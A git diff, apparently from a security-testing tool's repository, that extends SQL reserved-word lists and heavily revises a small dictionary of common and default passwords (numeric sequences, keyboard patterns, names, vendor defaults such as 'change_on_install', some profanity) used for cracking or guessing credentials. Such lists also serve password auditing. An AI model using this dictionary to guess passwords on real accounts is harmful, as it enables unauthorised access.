+WEIGHT_STRING +WHEN +WHERE +WHILE +WINDOW +WITH +WITHOUT +WORK +WRAPPER +WRITE +X509 +XA +XID +XML +XOR +YEAR +YEAR_MONTH +ZEROFILL +ZONE + # PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) ABS @@ -872,3 +1628,10 @@ XMLTABLE XMLTEXT XMLVALIDATE YEAR + +# Misc + +ORD +MID +TOP +ROWNUM diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt index 55fe63bd61d..96b0cab614a 100644 --- a/data/txt/smalldict.txt +++ b/data/txt/smalldict.txt @@ -1,44 +1,60 @@ -!@#$% -!@#$%^ -!@#$%^& -!@#$%^&* +! * ***** ****** +******** +********** +************* ------ +: +????? +?????? +!@#$% +!@#$%^ +!@#$%^& +!@#$%^&* +$HEX 0 -0.0.0.000 -0.0.000 0000 00000 000000 0000000 00000000 +000000000 +0000000000 0000007 000001 000007 +00001111 0007 +00112233 0069 007 007007 007bond 0101 010101 +01010101 01011980 01012011 010203 +01020304 0123 +01230123 012345 0123456 01234567 0123456789 020202 +030300 030303 0420 050505 06071992 0660 +070707 +080808 0815 090909 0911 @@ -47,21 +63,15 @@ 09876543 0987654321 0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i +!~!1 1 +100 1000 100000 1001 100100 1002 +100200 1003 1004 1005 @@ -79,7 +89,9 @@ 1017 1018 1020 +10203 102030 +10203040 1022 1023 1024 @@ -89,23 +101,32 @@ 1028 1029 102938 +1029384756 1030 +10301030 1031 +10311031 1066 10sne1 1101 +110110 1102 1103 1104 +111 1111 11111 111111 1111111 11111111 +111111111 1111111111 +111111a 11112222 1112 111222 +111222333 +111222tianya 1114 1115 1117 @@ -113,14 +134,19 @@ 1121 1122 112211 +11221122 112233 11223344 +1122334455 1123 112358 11235813 +1123581321 1124 1125 1129 +11921192 +11922960 1200 1201 1204 @@ -134,13 +160,20 @@ 1212 121212 12121212 +1212312121 1213 +12131213 +121313 121314 +12131415 1214 +12141214 1215 1216 +121834 1220 1221 +12211221 1223 1224 1225 @@ -149,105 +182,216 @@ 1228 123 1230 +123000 +12301230 123098 1231 12312 123123 12312312 123123123 +1231234 123123a +123123q +123123qwe +123123xxx 12321 1232323q 123321 +123321123 +123321q 1234 12341234 1234321 12344321 12345 +123451 +1234512345 +123454321 1234554321 123456 +123456! +1234560 +1234561 +123456123 +123456123456 +123456654321 1234567 +12345671 12345678 +12345678@ +123456781 +123456788 123456789 1234567890 +12345678900 +12345678901 +1234567890q +1234567891 12345678910 +1234567899 123456789a +123456789abc +123456789asd 123456789q +123456789z +12345678a +12345678abc +12345678q 12345679 +1234567a +1234567Qq +123456987 123456a +123456a@ +123456aa +123456abc +123456as +123456b +123456c +123456d +123456j +123456k +123456l +123456m 123456q +123456qq +123456qwe +123456qwerty +123456s +123456t +123456z +123456za 123457 12345a +12345abc +12345abcd 12345q 12345qwert +12345qwerty +12345t +123465 1234abcd +1234asdf 1234qwer 1235 123654 123654789 +12369874 +123698745 123789 +123789456 123987 -123aaa +123a123a 123abc +123admin 123asd 123asdf 123go +123hfjdk147 +123mudar +123qazwsx 123qwe +123qwe123 +123qwe123qwe +123qweasd +123qweasdzxc +123qwerty +123spill +123stella +12413 1245 124578 1269 12axzas21a +12qw34er +12qwas 12qwaszx +1301 1313 131313 13131313 +13141314 +1314520 +1314521 1316 +13243546 1332 +1342 134679 +134679852 +135246 1357 13579 135790 +135792468 +1357924680 1369 +140136 1412 +14121412 1414 141414 14141414 +141421356 142536 142857 1430 143143 +14344 +1435254 +1453 +14531453 +1464688081 147147 147258 14725836 147258369 +1475 147852 147852369 1478963 14789632 +147896325 1492 +1502 1515 151515 159159 +159159159 159357 +1596321 159753 +15975321 +159753qq 159951 1616 161616 +168168 1701 1701d +170845 1717 171717 17171717 +173173 1776 1812 1818 181818 18436572 +1868 187187 +1878200 +19031903 +19051905 +19071907 +19081908 1911 1919 191919 1928 +192837465 1941 1942 1943 @@ -272,6 +416,7 @@ 1962 1963 1964 +19641964 1965 1966 1967 @@ -280,65 +425,102 @@ 19691969 196969 1970 +19701970 1971 1972 +19721972 1973 +19731973 1974 19741974 1975 +19750407 +19751975 1976 +19761976 1977 +19771977 1978 19781978 1979 +19791979 1980 +19801980 1981 +19811981 1982 +19821982 1983 +19831983 1984 19841984 1985 +19851985 +1985329 1986 +19861986 1987 +19871987 1988 +19881988 1989 +19891989 1990 +19901990 1991 +19911991 1992 -199220706 +19921992 1993 +19931993 1994 +19941994 1995 +199510 +19951995 1996 1997 +19971997 1998 +19981998 1999 199999 1a2b3c 1a2b3c4d -1chris -1kitty +1g2w3e4r +1million 1p2o3i -1passwor +1password 1q2w3e 1q2w3e4r +1q2w3e4r5 1q2w3e4r5t -1qaz +1q2w3e4r5t6y +1q2w3e4r5t6y7u +1qa2ws3ed +1qay2wsx +1qaz1qaz 1qaz2wsx +1qaz2wsx3edc 1qazxsw2 1qw23e 1qwerty -1x2zkg8w +1v7Upjw3nT 2000 200000 20002000 2001 20012001 2002 +20022002 2003 +20032003 2004 2005 2010 +20102010 +2012comeer +201314 2020 202020 20202020 @@ -347,23 +529,29 @@ 2121 212121 21212121 +212224 +212224236 22 2200 2211 +221225 2222 22222 222222 2222222 22222222 +2222222222 222333 222777 223344 +22446688 2252 2323 232323 23232323 2345 234567 +23456789 23skidoo 2424 242424 @@ -371,41 +559,81 @@ 2468 24680 246810 +24681012 24682468 2469 +2501 +25011990 +25132513 +2514 +2516 +25162516 +25182518 +2520 +25202520 +2522 +25222522 +25232523 +25242524 2525 +25251325 252525 25252525 +25262526 +25272527 +25292529 +25302530 +25362536 +256256 256879 2580 25802580 +26011985 2626 262626 2727 272727 2828 282828 +2871 +2879 +290966 292929 +2971 +29rsavoy +2bornot2b +2cute4u 2fast4u +2gAVOiz1 2kids +2tjNZkM 3000gt 3006 3010 3030 303030 +303677 +30624700 3112 311311 3131 313131 +313326339 3141 314159 31415926 315475 +3182 +31994 321123 321321 +321321321 321654 +321654987 +32167 3232 323232 +3282 332211 333 3333 @@ -414,22 +642,25 @@ 3333333 33333333 333666 +333888 336699 3434 343434 3533 353535 +3571138 362436 3636 363636 36633663 369 +369258147 369369 373737 383838 393939 3bears -3ip76k2 +3rJs1la7qE 4040 404040 4055 @@ -440,10 +671,13 @@ 420000 420247 420420 +421uiopy258 4242 424242 426hemi +4293 4321 +43214321 434343 4417 4444 @@ -454,13 +688,18 @@ 445566 4545 454545 +456 456123 456321 456456 +456456456 456654 4567 456789 +456852 464646 +46494649 +46709394 4711 474747 4788 @@ -471,20 +710,24 @@ 494949 49ers 4ever -4runner +4tugboat 5000 5050 505050 50cent -50spanks 5121 514007 5150 515000 51505150 515151 +5201314 +520520 +5211314 +521521 5252 525252 +5324 5329 535353 5424 @@ -498,6 +741,7 @@ 555555 5555555 55555555 +5555555555 555666 5656 565656 @@ -507,6 +751,10 @@ 575757 57chevy 585858 +589589 +5956272 +59635963 +5RGfSaLj 606060 616161 6262 @@ -514,10 +762,15 @@ 6301 635241 636363 +6435 646464 +6535 654321 +6543211 655321 656565 +6655321 +666 6666 66666 666666 @@ -526,24 +779,33 @@ 666777 666999 676767 +6820055 686868 6969 696969 69696969 6996 +6V21wbgad 7007 +709394 +7153 717171 727272 737373 +74108520 741852 741852963 747474 753159 753951 +7546 757575 +7646 7654321 767676 7734 +7758258 +7758521 777 7777 77777 @@ -559,17 +821,24 @@ 789456 78945612 789456123 +7894561230 789654 +789654123 789789 789987 +7913 +7936 797979 7dwarfs 80486 818181 -81fukkc +851216 +85208520 852456 +8657 8675309 868686 +8757 87654321 878787 8888 @@ -579,508 +848,461 @@ 88888888 8989 898989 +8avLjNwf 90210 909090 +90909090 911 911911 9379992 951753 +951753aa +959595 963852 +963852741 969696 +9768 +985985 987456 +987456321 9876 98765 987654 +9876543 98765432 987654321 +9876543210 987987 989898 +99887766 9999 99999 999999 9999999 99999999 999999999 -????? -?????? -@#$%^& -ABC123 -Abcdef -Abcdefg -Admin -Alexis -Alpha -Andrew -Animals -Anthony -Ariel -Asdfgh -BOSS -Bailey -Bastard -Beavis -Bismillah -Bond007 -Bonzo -Booboo -Boston -Broadway -Canucks -Cardinal -Carol -Casio -Celtics -Champs -ChangeMe -Changeme -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Family -Figaro -Fisher -Fishing -Fortune -Freddy -Friday -Friends -Front242 -FuckYou -Fuckyou -Gandalf -Geronimo -Gingers -Gizmo -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Hello -Hendrix -Henry -Hershey -Homer -Internet -JSBach -Jackson -Janet -Jeanne -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -Joshua -KILLER -Katie -Killer -Kitten -Knight -Liberty -Lindsay -Lizard -Login -Madeline -Margaret -Master -Matthew -Maxwell -Mellon -Merlot -Metallic -Michael -Michel -Michel1 -Michelle -Monday -Money -Monster -Montreal -NCC1701 -Newton -Nicholas -Noriko -OU812 -October -PASSWORD -PPP -Paladin -Pamela -Passw0rd -Password -Password1 -Peaches -Peanuts -Pentium -Pepper -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Qwert -Qwerty -Rabbit -Raiders -Raistlin -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Sierra -Skeeter -Smokey -Snoopy -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taurus -Taylor -Tennis -Theresa -Thomas -Thunder -Tigger -Tuesday -Usuckballz1 -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Windows -Winnie -Wolverine -Woodrow -World -Zxcvb -Zxcvbnm +9999999999 a +a102030 +a123123 a12345 a123456 a1234567 +a12345678 +a123456789 +A123456a +a1a2a3 a1b2c3 a1b2c3d4 +a1s2d3f4 +a56789 +a838hfiD aa +aa000000 +aa112233 +aa123123 +aa123456 +Aa1234567 +aa12345678 +Aa123456789 aaa aaa111 +aaa123 aaaa +aaaa1111 aaaaa +aaaaa1 aaaaaa +aaaaaa1 aaaaaaa aaaaaaaa +aaaaaaaaaa +aabb1122 aaliyah aardvark aaron -aaron1 +Ab123456 abacab abbott abby abc abc123 +Abc@123 abc1234 +Abc@1234 abc12345 +abc123456 abcabc abcd abcd123 abcd1234 +Abcd@1234 +Abcd1234 abcde abcdef abcdefg +abcdefg1 +abcdefg123 abcdefgh +abcdefghi +abdullah +abercrombie aberdeen abgrtyu +abhishek abigail abm abnormal abraham +abrakadabra +absinthe absolut absolute -absolutely -abstr +abstract academia academic +acapulco access access14 +accident accord +ACCORD account +account1 +accounting +accurate ace -aceace achilles -achtung -acidburn +acoustic acropolis action -active +activity acura -ada adam -adam12 +adamadam +adamko adams addict -addison -adg +addicted +addiction +adelaida +adelante +adfexc adgangskode adi adidas -adldemo +aditya +adm admin +Admin +admin000 admin1 +Admin1 admin12 admin123 +Admin1234 +admin256 adminadmin +adminadmin123 administrator -admiral +ADMINISTRATOR +adminpass +adminpwd adobe1 adobe123 -adobeadobe -adonis +adrenalin +adrenaline adrian adriana adrianna -adrienne -adrock -adult +adrianne adults advance -advent -advil +advocate +aek1924 +aekara21 aerobics +aerospace +affinity +afghanistan africa +afterlife again -agent +agamemnon aggies +agnieszka agosto +aguilas agustin ahl ahm -aikido aikman +aikotoba aileen airborne -airbus +aircraft airforce +airlines airman -airoplane airplane -airport -airwolf -aisan +aisiteru ak -akf7d98s2 +akatsuki aki123 akira +akuankka alabama -aladin +alabaster +alakazam alan alanis alaska -albany +alastair +albacore albatros albatross albert alberta alberto +alberto1 albion +alcapone +alcatraz +alchemist alchemy -alcohol alejandr alejandra alejandro +alekos +aleksandr +aleksandra +aleksi +alenka +alessandra +alessandro +alessia +alessio alex -alex1 -alexalex +alex2000 +alexa alexande alexander +alexander1 alexandr alexandra +alexandre +alexandria +alexandru alexia alexis +alexis1 alf -alfa alfaro +alfarome alfred alfredo algebra -ali +algernon alias -aliases alibaba +alicante alice alice1 alicia -alien -aliens -alina -aline alisa alisha alison alissa +alistair alive +alkaline all4one -allan -allegro -allen alleycat allgood +alli alliance +alligator allison +allison1 +allister allmine -allo +allright allsop allstar +allstars allstate +almafa almighty almond aloha alone +alonso +aloysius +alpacino alpha +Alpha alpha1 +alpha123 alphabet +alphonse alpine -alr altamira -althea +alterego +alternate altima altima1 +altitude alucard +alvarado always alyssa ama amadeus amanda amanda1 +amaranth +amarillo amateur -amateurs -amazing -amazon +amazonas +ambassador amber amber1 -ambers -ambrose +ambition ambrosia amelia -amelie america america1 american -amethyst -amigo +americana +amho +AMIAMI +amigas amigos +amirul +amistad +amnesiac +amorcito +amoremio +amores +amormio amorphous -amour -ams -amstel amsterda amsterdam -amv -amy +anabelle anaconda -anakin +anakonda anal analog analsex +analysis +anamaria anarchy -anastasi -anchor -anders +anastasija +anathema andersen anderson andre -andre1 +andre123 andrea andrea1 andreas +andreea +andrei +andreita +andrej +andrejka +andrejko andres andrew -andrew! andrew1 +andrew123 andrey -andromache -andromed +andris andromeda +andrzej andy -andyod22 +andyandy +anette anfield angel angel1 +angel123 angela +angelas +angeles +angeleyes +angelfish angelica angelika angelina +angeline +angelita angelito angelo angels -angelus -angerine angie angie1 angus -angus1 +anhyeuem animal animals +Animals +animated anime +aninha anita -ann -anna -annabell +anitha +anjelik +ankara +annabelle +annalena +annalisa +annamaria anne anneli +annelise +annemarie annette annie -annie1 annika -annmarie +anon anonymous another -answer antares +anteater antelope anthony anthony1 -anthrax -anthropogenic -antoine +anthony2 +antichrist +antigone +antihero +antilles +antiques +antivirus +antoinette anton antonia +antonina antonio -antony -anubis +antonio1 +antonis anvils anything +anywhere +aobo2010 aolsucks -ap +AP +apa123 apache +aparker +apc +apelsin +aperture +apina123 +apocalypse apollo +apollo11 apollo13 apple apple1 @@ -1088,333 +1310,387 @@ apple123 apple2 applepie apples -applmgr -applsys -applsyspub -apppassword -apps april april1 aprilia -aptiva +aptx4869 aq -aqdemo -aqjava aqua +aquamarine aquarius -aquser -ar +aqwa +arachnid aragorn aramis -arcadia -archange +arcangel archer archie +architect +architecture area51 +aremania argentin argentina aria ariadne ariana -ariane arianna ariel -aries +arigatou arizona arkansas arlene armada -armand +armadillo +armagedon armando armani -armstron +armastus +armchair +armitage army +arnar arnold around +arpeggio arrow -arrows +arrowhead arsenal arsenal1 -artemis arthur +artichoke artist +artistic +artofwar +arturas arturo +arturs +arvuti +as123123 +as123456 +asante +asas asasas +asasasas +ascend asd asd123 +asd12345 +asd123456 asdasd +asdasd123 +asdasd5 +asdasdasd asddsa asdf -asdf12 asdf123 asdf1234 -asdf;lkj +Asdf1234 +asdf12345 asdfasdf +asdffdsa asdfg +asdfg1 +asdfg123 +asdfg12345 asdfgh +asdfgh1 +asdfgh12 asdfghj asdfghjk asdfghjkl +asdfghjkl1 asdfjkl -asdfjkl; +asdf;lkj +asdfqwer +asdfzxcv +asdqwe123 asdsa asdzxc +asecret asf asg asgard +ashish ashlee ashleigh ashley ashley1 +ashley12 ashraf ashton -asia asian asians -asimov +asilas asl asm aso asp +asparagus aspateso19 aspen aspire ass -assass assassin +assassins assfuck asshole asshole1 -assholes assman assmunch assword -ast -asterix +astaroth +asterisk +asteroid astra astral astrid astro +astroboy +astronaut astros -ath +atalanta athena athens +athletics athlon atlanta -atlantic atlantis -atlas atmosphere -atomic -attack -atticus +atreides +attention attila attitude -aubrey -auburn -audi +auckland audia4 -audio -audiouser auditt audrey auggie august august07 -augusta -augustus +augustine aurelie +aurelius +aurimas +aurinko aurora -aussie austin austin1 austin31 +austin316 australi australia -austria +australian +author +authority auto +autobahn +autocad +automatic autumn -avalanch avalon avatar avenger +avengers avenir -avenue -aviation +aventura awesome -awful -awnyce +awesome1 +awkward ax ayelet -aylmer az az1943 azazel +aze azerty azertyui -azsxdc +azertyuiop +azsxdcfv aztecs azure azzer +b123456 +b6ox2tQ baba -babe +babaroga babes babies baby -babybaby +baby12 +baby123 babyblue +babyboo babyboy +babyboy1 babycake +babycakes babydoll babyface babygirl babygirl1 +babygurl babygurl1 -babylon -babylon5 +babyko babylove -bacardi +babyphat bacchus bach +bachelor back -backdoor +backbone +backfire +background +backlash +backpack +backspin backup +BACKUP backupexec +backward +backyard bacon +bacteria badass badboy -baddog +badg3r5 badger -badgers badgirl -badman +badlands +badminton +badoo baggins -baggio +bagheera bahamut bailey bailey1 +baili123com +bajs +bajs123 +bajsbajs baker +balaji balance +balazs +balder baldwin ball baller ballet ballin ballin1 -balloon -balloons balls +balqis +baltazar +baltimore bambam -bambi -bamboo +banaan +banaani banana bananas -banane +bandicoot bandit -bang -bangbang banger -bangkok +bangladesh +bangsat +bangsi bank banker banks +banned banner -banshee banzai -bar +baphomet +bara +baracuda baraka -barbados barbara -barber +barbarian +barbershop barbie barcelon barcelona +bareback barefoot barfly -baritone -barker -barkley -barley barn +barnacle barnes barney -barney1 barnyard -baron -barrett +barracuda barron -barry barry1 bart -bartman +bartas +bartek1 +bartender barton base baseball baseball1 +baseline +basement +baseoil basf basic basil +basilisk basket basketba basketball bass -basset -bassman -bassoon bastard -bastards +bastard1 +bastardo +bastille batch bathing +bathroom +batista batman batman1 +batman123 battery battle +battlefield +batuhan +bavarian baxter -bayern -baylor -bball +baywatch bbbb +bbbb1111 bbbbb bbbbbb -bbbbbbb -bbbbbbbb -bc4j -bcfields -bdsm beach beaches beacon beagle -beaker -beamer bean bean21 beaner -beanie beans bear bearbear -bearcat bearcats -beardog bears +bearshare beast beastie beasty beater -beatle beatles beatrice beatriz -beautifu +beaufort beautiful +beautiful1 beauty beaver beavis -beavis1 bebe +bebita because -becca becker beckham becky @@ -1422,78 +1698,87 @@ bedford beebop beech beefcake -beemer +beepbeep beer beerbeer beerman beethoven beetle -beezer -belgium +begga +beginner +behemoth +beholder +belekas +belgrade believe +believer belinda -belize bell bella bella1 +bella123 +belladonna belle -belmont beloved +bemari ben -benben -bender benfica beng bengals benito benjamin -benji -bennett +Benjamin +benjamin1 +benni bennie -benny benoit benson bentley benz beowulf berenice -beretta -berger bergkamp +berglind berkeley berlin berliner bermuda +bernadette bernard bernardo bernie berry +berserker bert bertha -bertie +bertrand beryl +besiktas bessie best bestbuy +bestfriend +bestfriends beta betacam beth bethany betito -betsie +betrayal +betrayed betsy better betty -beverly -bharat -bian +bettyboop +beverley +beyonce +bhaby +bhebhe +bhf bianca -biao biatch bic -bicameral bichilora -bichon bicycle bigal bigass @@ -1501,35 +1786,30 @@ bigballs bigbear bigben bigbig -bigbird +bigblack bigblock -bigblue bigbob bigboobs -bigbooty bigboss bigboy +bigbrother bigbutt bigcat bigcock bigdaddy -bigdawg bigdick bigdicks bigdog bigfish -bigfoot -bigger +biggi biggie biggles biggun bigguns -bigguy bighead -bigmac bigman bigmike -bigmoney +bigmouth bigone bigones bigpimp @@ -1539,42 +1819,46 @@ bigsexy bigtime bigtit bigtits -biit -bike -biker -bikini bil +bilbao1 bilbo bill billabon -billie +billabong +billgates +billiard +billings +billions bills billy -billy1 -billybob -billyboy bim bimbo -bimmer +bin bing -bingo -bingo1 binky binladen -bioboy +bintang biochem +biohazard +biologia biology +bionicle +biostar bird bird33 -birddog birdie -birdman +birdland birdy birgit +birgitte +birillo birthday bis biscuit +bisexual bishop +bismarck +bismilah bismillah bisounours bitch @@ -1583,522 +1867,481 @@ bitchass bitches bitchy biteme -bitter -biv -bix -biz +bittersweet bizkit +bjarni +bjk1903 blabla black black1 +blackbelt blackbir -blackcat -blackdog -blackhaw -blackie +blackbird +blackdragon +blackfire +blackhawk +blackheart +blackhole +blackice blackjac blackjack -blacklab blackman blackout +blackpool blacks +blackstar +blackstone blacky blade +bladerunner blades -blah blahblah blaine -blake -blam -blanca blanche blanco -blast -blaster -blaze blazer bledsoe +bleeding blessed +blessed1 blessing -blewis blinds +Blink123 blink182 bliss +blissful blitz +blitzkrieg blizzard -blond blonde blondes blondie blood +bloodhound +bloodline +bloodlust +bloods bloody +blooming blossom -blow blowfish blowjob blowme blubber blue -blue12 blue123 blue1234 blue22 blue32 -blue42 blue99 blueball -bluebell +blueberry bluebird -blueblue blueboy bluedog +bluedragon blueeyes bluefish -bluejays +bluegill bluejean bluemoon -blues -blues1 +bluenose bluesky -bluesman -bmw +bluestar +bluewater bmw325 bmwbmw +boarding boat boater boating bob -bob123 -bobafett bobbie -bobbob bobby -bobby1 -bobcat -bobdole -bobdylan bobo bobobo bodhisattva body boeing -bogart bogey bogus +bohemian bohica boiler -bolitas bollocks bollox bologna -bolton -bom bomb bombay bomber +bomberman bombers +bombshell bonanza -bonbon bond bond007 -bondage bone -bonehead -boner bones -bongo bonita bonjour -bonjovi -bonkers -bonner bonnie -bonsai boob boobear boobie boobies booboo +booboo1 boobs booger boogie book -booker -bookie books -bookworm boom boomer boomer1 +boomerang booster bootie -boots -bootsie -bootsy booty bootys booyah -boozer -borabora bordeaux +bordello borders boricua boris -borussia -bosco -boss +BOSS boss123 bossman boston bottle -bottom -boulder -bounce -bounty -bourbon +bou +boubou bowler bowling bowman -bowser bowtie bowwow -boxcar boxer boxers boxing -boxster boyboy +boyfriend boys +boyscout boytoy boyz bozo br0d3r br549 +bracelet brad -bradford bradley brady -brain -brains -branch +braindead +brainiac +brainstorm brandi -brando +brandnew brandon brandon1 brandy brandy1 brasil +braske braves bravo brazil -breaker +breakaway +breakdown +breakers +breaking +breakout breanna breast breasts breeze brenda brendan -brennan brent brest -brett -brewer -brewster brian brian1 +brian123 briana brianna +brianna1 +briciola bricks bridge bridges -bridget -briggs -bright -brighton -brigitte -brio_admin +bridgett +bridgette +brilliant +brinkley +brisbane bristol britain british britney brittany +brittany1 brittney -broadway +broadcast brodie broken broker bronco broncos -broncos1 -bronson -bronte -bronze brook brooke brooklyn brooks brother +brother1 +brotherhood brothers brown brown1 brownie +brownie1 browning browns bruce bruce1 brucelee bruins -bruiser brujita +brunette bruno -bruno1 +brunswick brutus bryan -bryant bsc bsd bubba bubba1 bubba123 -bubba69 bubbas bubble +bubblegum bubbles bubbles1 buceta +buchanan buck -bucket +buckaroo buckeye buckeyes -buckley bucks buckshot -budapest buddah buddha -buddie buddy buddy1 -buddy123 -buddyboy budgie budlight budman -budweise +budweiser buffalo buffalo1 buffet buffett buffy buffy1 -bug_reports -bugger bugs +bugsbunny bugsy builder -building +builtin bukkake -bull +bukowski bulldog -bulldog1 bulldogs +bulldozer +buller bullet +bulletin +bulletproof bullfrog +bullhead bulls bullseye bullshit -bumble -bumbling bummer bumper +bungalow bunghole -bungle -bunker -bunnies bunny bunny1 -burger -burgess -burn +burak123 burner burning burnout burns -burrito +burnside burton -bush bushido business busted buster buster1 -busty butch butcher butkus -butler butt butter +butterball buttercu buttercup butterfl +butterflies butterfly +butterfly1 butters +butterscotch buttfuck butthead -butthole buttman -button +buttocks buttons butts buzz -buzzard -buzzer byebye byron byteme -c00per +c +c123456 +caballero caballo -cabbage -cabernet -cable cabron caca cachonda +cachorro cactus cad -cadillac caesar -cafc91 +caffeine caitlin +calabria +calculus +calcutta +calderon +caldwell calendar -calgary -calibra -calico caliente californ california -caligula -calimero call -callaway -callie +calliope callisto callum calvin -calvin1 camaro camaross camay camber +cambiami +cambodia camden camel -camelot camels cameltoe camera camero cameron cameron1 +cameroon camila camilla camille +camilo campanile +campanita campbell -camper camping campus canada canadian +canberra +cancan cancel cancer -cancun -candace candi -candice -candle candy candy1 -candyass -candyman canela -cang +canfield cannabis -cannon -cannondale +cannibal +cannonball canon -cantona -cantor +cantik canuck canucks -canyon +capacity capecod -capetown capital -capone +capoeira caprice capricor -capslock +capricorn captain -captain1 car -caramel +caramelo caravan -carbon card -cardiff cardinal cardinals cards carebear +carefree +careless caren -carina +caribbean carl carla +carleton carlito carlitos -carlo carlos +carlos1 carlton carman -carmel +carmella carmen carmen1 -carmex2 carnage +carnaval +carnegie carnival carol -carol1 -carole carolina caroline -carolyn carpedie +carpediem carpente -carpet carrera carrie carroll -carrot -carrots cars carson carter +carter15 +carthage cartman -cartoon cartoons -carver -casanova -cascade +carvalho +casandra cascades casey casey1 cash -cashmone +cashmere +cashmoney casino -casio +Casio casper -casper1 cassandr cassandra cassidy @@ -2107,144 +2350,144 @@ caster castillo castle castor -castro cat -cat123 catalina -catalog +CATALOG +catalyst +catapult +catarina catcat catch22 -catcher catdog +caterina +caterpillar catfish -catherin catherine -cathy -catman -catnip -cats +cathleen +catholic +catriona cattle -catwoman caught -cavalier -caveman -cayman +cavallo cayuga -cbr600 -cbr900rr +cc ccbill cccc ccccc cccccc ccccccc cccccccc -cct -cdemo82 -cdemo83 -cdemocor -cdemorid -cdemoucb -cdouglas ce -ceasar cecile cecilia cecily cedic cedric celeb +celebration celebrity celeron celeste +celestial +celestine celica celine +cellphone +cellular celtic +celticfc celtics -cement -ceng center centra central -century -cerberus +ceramics cerulean +cervantes cesar cessna +cg123456 chacha -chad -chai chains -chainsaw chair +chairman challeng challenge -chambers -chameleon +challenger champ +champagne champion +champions champs chan chance chandler -chandra chanel chang change -change_on_install changeit changeme +ChangeMe changes +changethis channel +channels +channing chantal chao -chaos chaos1 chapman +character +characters +charcoal charger chargers charisma -charity +charissa charlene charles -charles1 -charley +charleston charlie charlie1 -charlie2 charlott charlotte -charlton charly +charmaine charmed charming -charon -charter chase chase1 chaser +chastity chat +chatting +chauncey chavez -cheater +cheaters +cheating +cheche check checker -checkers +checking +checkmate cheddar cheech cheeks -cheeky -cheerleaers +cheer +cheer1 +cheerios +cheerleader cheers cheese cheese1 +cheeseburger cheetah -chef chelle chelsea chelsea1 chem chemical -chemistry cheng +chennai cherokee cherries cherry @@ -2252,76 +2495,74 @@ cheryl cheshire chess chessie +chessman chester chester1 -chestnut +chesterfield chevelle -chevrole chevrolet chevy -chevy1 -chevys chewie chewy cheyenne chiara chicago -chicago1 +chicca +chicco chichi chick chicken chicken1 chickens -chicks -chico chief -chiefs children chill -chilli chillin +chilling chilly +chimaera chimera -china chinacat -chinese -chinook +chinaman +chinchin +chinita +chinna +chinnu chip chipmunk -chipper -chippy chips chiquita +chivalry chivas +chivas1 chloe -chloe1 chocha +choclate chocolat chocolate chocolate! chocolate1 choice choke -chong choochoo chopin chopper +chopper1 +choppers chou +chouchou chouette +chowchow chris chris1 -chris123 chris6 -chrisbln -chriss +chrisbrown chrissy christ -christ1 christa -christi christia christian -christie +christian1 christin christina christine @@ -2331,264 +2572,249 @@ christop christoph christopher christy +christy1 chrome chronic chrono chronos chrysler -chuai +chrystal chuang chubby chuck -chuckie chuckles chucky chui -chun -chunky -chuo church +ciao ciccio -cicero -cids cigar +cigarette cigars +cimbom +cincinnati cinder +cinderella cindy -cindy1 -cinema +cingular cinnamon -circle -circuit +cinta +cintaku circus cirque -cirrus -cis -cisco -cisinfo citadel -citizen +citation +citibank citroen +citrom city civic civil +civilwar +cjmasterinf claire -clancy clapton -clarence -clarinet -clarissa -clark -clarke clarkson class classic -classics classroom -claude claudel claudia -claudio +claudia1 clave clay claymore clayton -clement +cleaning clemente clemson cleo cleopatr cleopatra clerk -clevelan -cliff +client clifford clifton climax climber clinton -clipper clippers -clips clit clitoris clock cloclo close closer -cloth -cloud -cloud9 clouds cloudy clover -clovis clown clowns club clueless clustadm cluster -clusters -clutch clyde +cme2012 cn coach -cobain cobalt -cobra -cobra1 -cobras cocacola -cocaine +cocacola1 cock cocker -cocks +cockroach cocksuck cocksucker -coco cococo coconut +coconuts +cocorico code codename codered codeword -cody coffee cohiba coke -cold -coldbeer coldplay cole -coleman +coleslaw colette colin -colleen +collection +collector college -collie -collin collins -colnago colombia colonel colonial color colorado colors -colt45 +colossus colton coltrane columbia columbus comanche -combat -comedy +comatose +comcomcom +comeback comein +comeon11 comet -comfort comics coming command commande commander -commando +commandos common -commrades +communication +community compact -company compaq -compaq1 compass -compiere complete +composer +compound compton computer computer1 +computers comrade comrades conan concept -concord -concorde -concrete +conchita +concordia +condition condo condom -condor +conejo +confidence +confidential +conflict confused cong +congress connect -conner connie connor conover conquest -conrad console +constant +construction consuelo +consulting consumer -contact content contest +continental +continue contract +contrasena +contrasenya +contrast control +control1 controller -conway +controls +converse cook +cookbook cookie cookie1 cookies +cookies1 cooking cool -coolbean coolcat coolcool cooldude -cooler +coolgirl coolguy coolio -coolman -coolness cooper -coors cooter +copeland +copenhagen copper -cora -coral +copperhead +copyright +corazon cordelia -corey -corinne corky corleone corndog -cornelius cornell cornflake cornwall corolla corona -corrado -corsair +coronado +cortland corvette corwin -cosmic -cosmo +cosita cosmos -costello -cosworth -cottage +costanza +costarica cotton coucou cougar +Cougar cougars counter +counting country -county courage courier courtney couscous -coventry +covenant cowboy cowboy1 cowboys @@ -2596,283 +2822,296 @@ cowboys1 cowgirl cows coyote -crack +crabtree crack1 cracker +crackers +cracking +crackpot +craft craig -cramps crappy crash +crawfish crawford crazy crazy1 -crazybab +crazycat +crazyman cream creampie creamy -create +creatine creation creative -creature +creativity credit -creosote -crescent +creepers cretin +crftpw cricket cricket1 +crickets criminal crimson cristian cristina +cristo +critical critter -cromwell +critters +crockett +crocodil +crocodile cross -crow +crossbow +crossfire +crossroad +crossroads crowley crp cruise -cruiser crunch -crusader +crunchie crusher -crusty +cruzeiro crystal crystal1 +crystals cs -csc -csd -cse -csf -cshrc +csabika csi -csl -csmig +csilla +csillag csp csr css -cthulhu -ctxdemo -ctxsys -cua -cuan cubbies cubs cubswin -cuda +cucumber cuddles cue cuervo -cuf -cug -cui cumcum cumming +cummings cumshot cumslut -cun cunningham cunt cunts -cup cupcake -cupoi -curious -current +cupcakes +currency +curtains 